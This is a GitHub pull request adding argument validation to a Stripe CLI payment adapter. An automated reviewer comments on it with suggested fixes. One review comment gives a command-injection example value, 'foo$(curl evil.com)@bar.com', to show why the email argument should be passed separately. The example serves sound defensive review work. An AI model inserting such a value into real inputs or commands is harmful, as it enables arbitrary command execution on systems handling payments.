Validate Stripe CLI payment arguments by rissrice2105-agent · Pull Request #623 · profullstack/sh1pt

rissrice2105-agent · 2026-06-05T19:02:45Z

Fixes #622.

Changes:

validate Stripe create amount as a positive integer in minor units
normalize and validate three-letter currency codes
reject blank paymentIntentId values for get and refund
validate list limits as positive integers
validate customer email shape before invoking the CLI
add tests proving invalid configs do not call the external Stripe CLI

Validation:

vitest run packages/targets/payment-stripe/src/index.test.ts
tsc -p packages/targets/payment-stripe/tsconfig.json --noEmit

greptile-apps · 2026-06-05T19:06:16Z

Greptile Summary

This PR adds input validation to the Stripe CLI payment target adapter before any CLI invocation, replacing ad-hoc null checks with four reusable validator helpers and covering each with a new test.

requirePositiveInteger, requireText, requireCurrency, and requireEmail are added to index.ts; the ship() switch is updated to call them for every command branch.
Six new tests in index.test.ts use vi.mock + execMock to assert that invalid configs throw before reaching the CLI.
requirePositiveInteger has no upper-bound parameter, so limit: 101 passes local validation and is forwarded to the Stripe API where it will error — a max guard with the Stripe-documented ceiling of 100 would catch this earlier.

Confidence Score: 4/5

The change is safe to merge with the understanding that an out-of-range list limit will produce a Stripe API error rather than a local validation error.

The core validators are correct and the tests are well-targeted. The only gap is that requirePositiveInteger accepts any positive integer for limit while the Stripe API caps it at 100; a caller passing limit: 101 will pass local validation, hit the CLI, and receive a confusing remote error rather than a clear local one.

packages/targets/payment-stripe/src/index.ts — requirePositiveInteger needs a max parameter and the list call site should pass 100 as the upper bound.

Important Files Changed

Filename	Overview
packages/targets/payment-stripe/src/index.ts	Adds four validator helpers and wires them into ship(); the limit guard has no upper-bound check against the Stripe API maximum of 100.
packages/targets/payment-stripe/src/index.test.ts	Adds six targeted validation tests using vi.mock + execMock.

Flowchart

%%{init: {'theme': 'neutral'}}%%
flowchart TD
    A[ship called] --> B{cmd?}
    B -->|create| C[requirePositiveInteger amount]
    C --> D[requireCurrency]
    D --> E[exec stripe payment_intents create]
    B -->|get| F[requireText paymentIntentId]
    F --> G[exec stripe payment_intents retrieve]
    B -->|list| H[requirePositiveInteger limit]
    H --> I[exec stripe payment_intents list --limit=N]
    B -->|customer| J[requireEmail email]
    J --> K[exec stripe customers create --email=X]
    B -->|refund| L[requireText paymentIntentId]
    L --> M[exec stripe refunds create --payment-intent=X]
    B -->|unknown| N[throw Unknown command]
    C -->|invalid| ERR[throw validation error]
    D -->|invalid| ERR
    F -->|blank/missing| ERR
    H -->|non-positive| ERR
    J -->|bad format| ERR
    L -->|blank/missing| ERR

_{Reviews (2): Last reviewed commit: "Validate Stripe CLI payment arguments" | Re-trigger Greptile}

greptile-apps · 2026-06-05T19:06:20Z

 contractTestTarget(target, {
  sampleConfig: { command: 'create', args: { amount: 2000, currency: 'usd' }, description: 'test payment' },
-  requiredSecrets: ['STRIPE_API_KEY'],
+});


requiredSecrets contract assertion silently dropped

The requiredSecrets: ['STRIPE_API_KEY'] field was removed from the contractTestTarget call. If contractTestTarget uses that field to assert that the target rejects builds when the secret is absent, removing it means no test now verifies that STRIPE_API_KEY is enforced in build(). A future refactor that accidentally removes the secret guard in line 54 of index.ts would go undetected by CI.

greptile-apps · 2026-06-05T19:06:21Z

+beforeEach(() => {
+  vi.clearAllMocks();
+  execMock.mockResolvedValue({ exitCode: 0, stdout: '{"ok":true}', stderr: '' });
+});


Top-level beforeEach applies to contract tests

beforeEach declared outside the describe block applies to every test in the file, including those generated by contractTestTarget. This means execMock is reset and pre-seeded with a success response before each contract test runs. If contractTestTarget exercises build() expecting real exec failures (e.g., CLI not found, bad API key), the mock will make those code paths always succeed, silently masking any regressions in the build-phase error paths.

greptile-apps · 2026-06-05T19:06:22Z

+function requireCurrency(value: unknown): string {
+  const currency = typeof value === 'string' ? value.trim().toLowerCase() : 'usd';
+  if (!/^[a-z]{3}$/.test(currency)) throw new Error('currency must be a three-letter ISO code');
+  return currency;
+}


requireCurrency silently falls back to 'usd' when no value is provided

Unlike requirePositiveInteger, which throws when a value is explicitly passed as undefined (after the null-coalescing resolution), requireCurrency silently substitutes 'usd' for any non-string input. This means a caller that accidentally omits currency from args will silently charge in USD rather than getting a validation error. Consistently requiring an explicit value makes misconfiguration more visible.

Suggested change

function requireCurrency(value: unknown): string {

const currency = typeof value === 'string' ? value.trim().toLowerCase() : 'usd';

if (!/^[a-z]{3}$/.test(currency)) throw new Error('currency must be a three-letter ISO code');

return currency;

}

function requireCurrency(value: unknown, defaultValue = 'usd'): string {

if (value !== undefined && value !== null && typeof value !== 'string') {

throw new Error('currency must be a three-letter ISO code');

}

const currency = (typeof value === 'string' ? value.trim().toLowerCase() : null) ?? defaultValue;

if (!/^[a-z]{3}$/.test(currency)) throw new Error('currency must be a three-letter ISO code');

return currency;

}

Note: If this suggestion doesn't match your team's coding style, reply to this and let me know. I'll remember it for next time!

greptile-apps · 2026-06-05T19:06:23Z

-        const email = config.args?.email as string;
-        if (!email) throw new Error('email required');
+        const email = requireEmail(config.args?.email);
        const { stdout } = await exec('stripe', ['customers', 'create', `--email=${email}`], { log: ctx.log });


Shell metacharacters not excluded from email argument

The validated email is embedded as --email=${email} inside a template literal that becomes a single element of the args array. The regex /^[^\s@]+@[^\s@]+\.[^\s@]+$/ blocks whitespace but allows characters like ;, |, &, $, and backticks. If exec from @profullstack/sh1pt-core ever routes args through a shell (or is swapped for a shell-based implementation), a value like foo$(curl evil.com)@bar.com would pass validation and could execute arbitrary commands. Passing --email and the value as separate array elements eliminates this risk entirely regardless of how exec is implemented.

greptile-apps · 2026-06-05T19:10:29Z

+function requirePositiveInteger(value: unknown, name: string, defaultValue: number): number {
+  const numberValue = value ?? defaultValue;
+  if (typeof numberValue !== 'number' || !Number.isInteger(numberValue) || numberValue <= 0) {
+    throw new Error(`${name} must be a positive integer`);
+  }
+  return numberValue;
+}


The Stripe API enforces a maximum limit of 100 for payment_intents list. requirePositiveInteger only guards > 0, so limit: 101 passes local validation and is forwarded to the CLI, where it returns a Stripe API error. Since throwOnNonZero is not set on the list exec call, that error may be silently swallowed and returned as raw output rather than thrown. Adding an upper-bound check here catches the misconfiguration before the network call.

Suggested change

function requirePositiveInteger(value: unknown, name: string, defaultValue: number): number {

const numberValue = value ?? defaultValue;

if (typeof numberValue !== 'number' || !Number.isInteger(numberValue) || numberValue <= 0) {

throw new Error(`${name} must be a positive integer`);

}

return numberValue;

}

function requirePositiveInteger(value: unknown, name: string, defaultValue: number, max?: number): number {

const numberValue = value ?? defaultValue;

if (typeof numberValue !== 'number' || !Number.isInteger(numberValue) || numberValue <= 0) {

throw new Error(`${name} must be a positive integer`);

}

if (max !== undefined && numberValue > max) {

throw new Error(`${name} must be at most ${max}`);

}

return numberValue;

}

github-actions · 2026-06-06T07:10:38Z